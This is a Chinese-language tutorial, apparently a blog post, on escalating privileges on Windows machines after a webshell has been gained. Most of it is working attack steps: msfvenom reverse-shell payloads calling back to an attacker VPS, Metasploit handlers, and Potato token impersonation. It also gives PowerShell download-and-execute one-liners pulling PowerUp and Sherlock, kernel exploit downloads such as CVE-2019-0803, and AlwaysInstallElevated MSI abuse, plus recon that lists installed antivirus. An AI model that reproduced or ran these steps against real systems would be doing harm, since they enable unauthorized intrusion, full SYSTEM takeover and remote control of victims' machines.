windows系统提权
权限提升简介
权限提升概述
windows系统常见的权限:
用户权限
管理员权限
系统权限
访客权限
什么是提权
权限提升(privilege escalation):攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权到高权限的管理员用户,从而获得对整个系统得控制权。
Windows:user --> administrator
Linux:user --> root
提权分类
本地提权:在一个低权限用户下,通过一些条件(应用程序漏洞、系统漏洞等)直接提升到系统最高权限。
远程提权:攻击者通过漏洞利用程序直接获取远程服务器的权限。
操作系统提权:
Windows:MS06-067、MS10-084、MS11-014、MS11-05、MS12-020、MS16-032等
Linux:CVE-2017-7308、CVE-2017-6074、CVE-2017-5123、CVE-2016-9793、CVE-2016-5195等
应用程序提权:SQL Server、MySQL、Oracle
提权条件
- 拥有Webshell,普通用户权限
- 拥有某些软件的账号密码
- 本地或远程服务器上存在漏洞
- 拥有漏洞利用工具代码
Windows提权思路
- 前期信息收集
- Meterpreter提权
- Windows系统内核漏洞
- Windows服务漏洞
Windows系统提权
Windows提权信息收集
- 生成msf木马。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=your-vps-ip lport=6666 -f exe -o demo.exe
- 监听并且运行木马文件,获取会话。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST your-vps-ip
set LPORT 6666
exploit
WMIC信息收集
WMIC:Windows管理工具命令行,提供了从命令行接口和批命令脚本执行系统管理的支持,对于信息收集和渗透测试是非常实用的。
wmic信息提取脚本:wmic_info.bat
提取进程、服务、用户帐号、用户组、网络接口、硬盘信息、网络共享信息、安装Windows补丁、程序在启动运行、安装的软件列表、操作系统、时区等信息。
补丁信息、补丁包过滤
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:“KBxxxxxx” /C:“KBxxxxxx”
获取杀软名:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
获取杀软名和安装路径:
WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,
pathToSignedProductExe
组帐户管理
wmic group
已安装操作系统的管理
wmic os
进程管理
wmic process
服务应用程序管理
wmic service
用户帐户管理
wmic useraccount
当用户登录到计算机系统时自动运行的命令的管理
wmic startup
自动信息收集
Host Information Gathering Script:HIGS.bat
下载地址:
https://github.com/myh0st/scripts/blob/master/Windows%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86
使用方法:将HIGS.bat在目标机器上运行即可收集信息。
提权工具脚本
环境搭建
-
配置web服务器。
左下角开始=>管理工具=>服务器管理器=>角色
-
勾选WEB服务,一直下一步到结束。
点击功能,勾选以下功能。
-
点击Internet信息服务,访问浏览器查看是否搭建完成。
-
成功搭建界面。
-
在web目录上传aspx文件,使用蚁剑连接,默认我们已经拿到shell。
连接成功后,查看权限。
iis apppool\defaultapppool:iis的服务权限。
提权
前提拿到webshell
web路径:C:\inetpub\wwwroot\aspnet_client\system_web\2_0_50727
- 我们将它上线到MSF,将木马文件上传到连接目录下。
发现报错,显示没有权限这时我们找到tmep目录进行上传。
在windows中temp目录默认所有用户有写入、执行的权限;在linux中tmp目录也一样
我们更换为temp目录下的文件夹上传。成功!
-
运行木马,上线msf。
-
得到会话。
RottenPotato:将服务帐户本地提权至SYSTEM
load incognito
list_token –u
upload /root/ubunut/Potato.exe .
execute -Hc -f Potato.exe
impersonate_token "NT AUTHORITY\SYSTEM"
- 查看令牌。
list_tokens -u
- 加载模块。
- 上传土豆到web目录。
/home/ubuntu/Potato.exe:绝对目录
. :当前文件夹
dir:查看是否上传成功
- 运行potato.exe
-HC:隐藏进程
-f:指定名字
872:pid
- 伪装登录令牌
没有找到令牌,我们换个方式尝试。
Origin Potato :
https://github.com/foxglovesec/Potato
RottenPotato & JuicyPotato:
https://github.com/ohpe/juicy-potato
RoguePotato:
https://github.com/antonioCoco/RoguePotato
SweetPotato:
https://github.com/CCob/SweetPotato
Webshell下执行命令:
https://github.com/uknowsec/SweetPotato
https://github.com/uknowsec/getSystem
Windows内核漏洞提权
提权信息收集
检查Windows版本是否有任何已知的漏洞:
systeminfo | findstr /B /C:“OS Name” /C:“OS Version”
wmic qfe get Caption,Description,HotFixID,InstalledOn
列出所有补丁:
powershell -c "Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}
列出安全更新补丁:
powershell -c "Get-Hotfix -description 'Security update'"
快速查找提权
在线网站查询补丁对应漏洞:
https://i.hacking8.com/tiquan
工具自动化查询
https://github.com/rasta-mouse/Watson
wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1
- 文件在vps下载后,在文件所在目录启动http服务。
python3 -m http.server
- 在目标机器运行
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://your-vps-ip:8000/Sherlock.ps1');Find-AllVulns
CVEID:漏洞编号
LINK:POC地址
windows-kernel-exploits(Windows平台提权漏洞集合):
https://github.com/SecWiki/windows-kernel-exploits
检测脚本windows-exploit-suggester.py。
更新库:
python2 windows-exploit-suggester.py --update
完成后即可在同目录看到xls文件。
使用:
在目标机器导入systeminfo。
systeminfo >> info.txt #将结果输出的info.txt
将生成的info.txt文件和windows-exploit-suggester.py脚本放在一起。
python2 windows-exploit-suggester.py --database 2022-08-10-mssb.xls --systeminfo info.txt
M是可能存在的:
E:不存在的:
报错解决
- No matching distribution found for python-xlrd
解决方案:
pip2 install xlrd --upgrade
- xlrd.biffh.XLRDError: Excel xlsx file; not supported
原因:xlrd版本太高,换旧版即可。xlrd更新到了2.0.1版本,只支持.xls文件。所以解析xlsx文件会报错。
解决方案:
pip2 uninstall xlrd
pip2 install xlrd==1.2.0
提权复现-CVE-2019-0803
漏洞利用工具:
https://github.com/k8gege/K8tools/raw/master/CVE-2019-0803.exe
假设我们已经getshell。
在目标主机运行木马文件。
cve-2019-0803 cmd "whoami" 检测是否存在漏洞
cve-2019-0803 cmd "start demo11111.exe" 反弹system权限会话至msf上
提权复现-CVE-2020-0708
poc下载地址:
https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases/tag/1
必须拿到远程桌面或者远程会话才可以得到system权限。
直接运行即可。
Windows系统服务漏洞
Always Install Elevated
任意用户以NT AUTHORITY\SYSTEM权限安装 msi。
AlwaysInstallElevated是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。
MSI:Microsoft Silent Installer,是微软的安装包格式,它在后台运行.exe安装程序
Always Install Elevated(判断是否激活Always Install Elevated)
- 将PowerUp.ps1文件上传到vps(没有的话可以问我要)
- vps开启http服务
python3 -m http.server
- 判断是否激活。
powershell -ep bypass iex(new-object
net.webclient).downloadstring('http://vps-ip:8000/PowerUp.ps1');GetRegistryAlwaysInstallElevated
- False:没有开启。
在测试环境启用AlwaysInstallElevated,命令如下:
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
通过注册表判断
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果没有注册表项的话,那就代表没有开启,反之显示0x1则代表开启
- 图形化可通过gpedit.msc,路径为计算机设置\管理模版\windows组件\windows installer,选中已启用即可,需要管理员权限:
Always Install Elevated提权
- 下载exemsi。
- msf生成exe程序
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=9090 LHOST=vps-ip -f exe >a.exe
开启监听。
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost vps-ip
set lport 23456
exploit -j
- 使用exemsi将exe封装为msi。
配置样式为下图所示,其他默认即可。
下面一直NEXT到最后
这里选择否。
-
浏览目录,把生成的msi文件上传到目标主机。
-
打开cmd界面,运行msi程序,得到system权限的shell。
目标机器上执行:msiexec /quiet /qn /i a.msi
msiexec参数: